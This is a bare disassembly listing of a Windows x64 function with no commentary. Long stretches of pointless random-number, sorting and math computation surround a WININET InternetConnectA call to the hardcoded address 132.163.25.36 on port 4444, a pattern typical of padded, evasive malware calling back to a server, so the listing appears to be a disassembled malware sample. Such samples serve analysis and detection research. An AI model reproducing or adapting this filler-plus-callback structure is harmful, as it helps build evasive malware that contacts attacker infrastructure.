movq rax, xmm0
mov qword [rbp + 0x1c8], rax
cmp dword [rbp + 0x2400], 0xe6
jle 0x140002a94
mov dword [rbp + 0x23f8], 1
jmp 0x140002be4
mov dword [rbp + 0x23fc], 0
mov eax, dword [rbp + 0x23f8]
mov dword [rbp + 0x23f4], eax
jmp 0x140002bba
mov edx, dword [rbp + 0x23f4]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x12c], edx
mov eax, dword [rbp + 0x12c]
imul eax, eax
imul eax, dword [rbp + 0x12c]
add dword [rbp + 0x23fc], eax
mov eax, dword [rbp + 0x23f4]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x23f4], eax
cmp dword [rbp + 0x23f4], 0
jne 0x140002b4f
mov eax, dword [rbp + 0x23fc]
cmp eax, dword [rbp + 0x23f8]
jne 0x140002bdd
mov eax, dword [rbp + 0x23f8]
mov dword [rbp + 0x130], eax
add dword [rbp + 0x23f8], 1
cmp dword [rbp + 0x23f8], 0xb5
jle 0x140002b37
mov ecx, 0x2f4
call sym.malloc
mov qword [rbp + 0x1c0], rax
mov dword [rbp + 0x23f0], 0
jmp 0x140002c9b
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x23f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1c0]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x23f0], 1
cmp dword [rbp + 0x23f0], 0xbc
jle 0x140002c14
mov dword [rbp + 0x23f0], 0
jmp 0x140002d9f
cmp dword [rbp + 0x23f0], 0
je 0x140002d04
mov eax, dword [rbp + 0x23f0]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1c0]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x23f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1c0]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140002d10
add dword [rbp + 0x23f0], 1
jmp 0x140002d9f
mov eax, dword [rbp + 0x23f0]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1c0]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x134], xmm0
mov eax, dword [rbp + 0x23f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1c0]
add rdx, rax
mov eax, dword [rbp + 0x23f0]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x1c0]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x23f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1c0]
add rax, rdx
movss xmm0, dword [rbp + 0x134]
movss dword [rax], xmm0
sub dword [rbp + 0x23f0], 1
cmp dword [rbp + 0x23f0], 0xbc
jle 0x140002cba
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call sym.free
add dword [rbp + 0x246c], 1
mov dword [rbp + 0x23e8], 0
mov dword [rbp + 0x1bc], 0
mov ecx, 0x3fc
call sym.malloc
mov qword [rbp + 0x1b0], rax
mov dword [rbp + 0x23ec], 0
jmp 0x140002e72
cmp dword [rbp + 0x23ec], 0xfe
jle 0x140002df6
mov eax, dword [rbp + 0x246c]
cmp eax, dword [rbp + 0x15fc]
jl 0x1400026ce
mov dword [rbp + 0x239c], 0
jmp 0x140003905
call sym.rand
imul eax, eax, 0x2f4
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400270f8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x200], rax
add dword [rbp + 0x239c], 1
cmp dword [rbp + 0x239c], 0x11e
jle 0x1400038c4
mov dword [rbp + 0x2398], 0xffffffff
mov ecx, 0x330
call sym.malloc
mov qword [rbp + 0x15f0], rax
mov ecx, 0x330
call sym.malloc
mov qword [rbp + 0x15e8], rax
add dword [rbp + 0x2398], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x2398]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x15f0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2398]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x15f0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2398]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x15e8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2398], 0x64
jle 0x14000393d
mov ecx, 0x500
call sym.malloc
mov qword [rbp + 0x15e0], rax
mov dword [rbp + 0x2394], 0
jmp 0x140003a8a
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400270f8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2394]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x15e0]
add rax, rdx
movsd xmm1, qword [0x140027100]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x2394], 1
cmp dword [rbp + 0x2394], 0x9f
jle 0x140003a3c
mov dword [rbp + 0x2394], 0
jmp 0x140003af4
mov eax, dword [rbp + 0x2394]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x15e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2394]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x15e0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2394], 1
cmp dword [rbp + 0x2394], 0x9f
jle 0x140003aa2
cmp qword [rbp + 0x1688], 0
je 0x14001da86
mov rax, qword [rbp + 0x1688]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x800000
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x115c
lea rdx, str.132.163.25.36
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x15d8], rax
cmp qword [rbp + 0x15d8], 0
je 0x14001da86
mov ecx, 0x10c
call sym.malloc
mov qword [rbp + 0x15d0], rax
mov dword [rbp + 0x2388], 0
mov ecx, 0x58
call sym.malloc
mov qword [rbp + 0x15c8], rax
mov dword [rbp + 0x2390], 0
jmp 0x140003c1c
mov dword [rbp + 0x238c], 0
jmp 0x140003c0c
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x75d81109
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x22c2
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2390]
cdqe
lea rcx, [rax*8]
mov rax, qword [rbp + 0x15c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x238c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x238c], 1
cmp dword [rbp + 0x238c], 1
jle 0x140003baf
add dword [rbp + 0x2390], 1
cmp dword [rbp + 0x2390], 0xa
jle 0x140003ba3
mov dword [rbp + 0x2390], 0
jmp 0x140003c99
mov dword [rbp + 0x238c], 0
jmp 0x140003c89
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x2388]
mov eax, dword [rbp + 0x2390]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x15c8]
add rdx, rax
mov eax, dword [rbp + 0x238c]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x2388], eax
add dword [rbp + 0x238c], 1
cmp dword [rbp + 0x238c], 1
jle 0x140003c41
add dword [rbp + 0x2390], 1
cmp dword [rbp + 0x2390], 0xa
jle 0x140003c35
mov rax, qword [rbp + 0x15c8]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2384], 0xffffffff
mov ecx, 0x808
call sym.malloc
mov qword [rbp + 0x15c0], rax
add dword [rbp + 0x2384], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400270f8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2384]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x15c0]
add rax, rdx
movsd xmm1, qword [0x140027100]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2384]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x15c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2384]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x15c0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2384], 0xff
jle 0x140003ccc
mov dword [rbp + 0x2380], 0x118
mov dword [rbp + 0x237c], 0x32
jmp 0x140003da9
mov eax, dword [rbp + 0x2380]
cmp eax, dword [rbp + 0x237c]
jle 0x140003da2
sub dword [rbp + 0x2380], 1
jmp 0x140003da9
sub dword [rbp + 0x237c], 1
cmp dword [rbp + 0x2380], 0
jg 0x140003d8b
mov dword [rbp + 0x2374], 0
mov dword [rbp + 0x2370], 0
mov ecx, 0x2f4
call sym.malloc
mov qword [rbp + 0x15b8], rax
mov dword [rbp + 0x236c], 0
jmp 0x140003e51
call sym.rand
mov edx, dword [rbp + 0x236c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x15b8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x236c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x15b8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x2374], eax
add dword [rbp + 0x236c], 1
cmp dword [rbp + 0x236c], 0xbc
jle 0x140003de3
mov dword [rbp + 0x236c], 0
jmp 0x140003ed9
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x2370]
mov eax, dword [rbp + 0x236c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x15b8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x20c]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140027120]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x2370], eax
add dword [rbp + 0x236c], 1
cmp dword [rbp + 0x236c], 0xbc
jle 0x140003e69
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x2370]
movss xmm1, dword [0x140027128]
divss xmm0, xmm1
movss dword [rbp + 0x15b4], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x15b4]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x15b0], xmm0
mov rax, qword [rbp + 0x15b8]
mov rcx, rax
call sym.free
mov ecx, 0x2a0
call sym.malloc
mov qword [rbp + 0x15a8], rax
mov dword [rbp + 0x2368], 0
mov dword [rbp + 0x15a4], 1
mov dword [rbp + 0x2364], 0
jmp 0x140003fe7
mov dword [rbp + 0x2360], 0
jmp 0x140003fd7
call sym.rand
mov edx, eax
mov eax, dword [rbp + 0x2364]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x15a8]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x2360]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x2360], 1
cmp dword [rbp + 0x2360], 0x1b
jle 0x140003f78
add dword [rbp + 0x2364], 1
cmp dword [rbp + 0x2364], 5
jle 0x140003f6c
mov dword [rbp + 0x2364], 0
jmp 0x14000405d
mov dword [rbp + 0x2360], 0
jmp 0x14000404d
cmp dword [rbp + 0x2364], 5
jle 0x140004000
cmp dword [rbp + 0x2368], 0x54
je 0x140004079
mov eax, 0
movups xmm6, xmmword [rbp + 0x2480]
add rsp, 0x2518
pop rbx
pop rbp
ret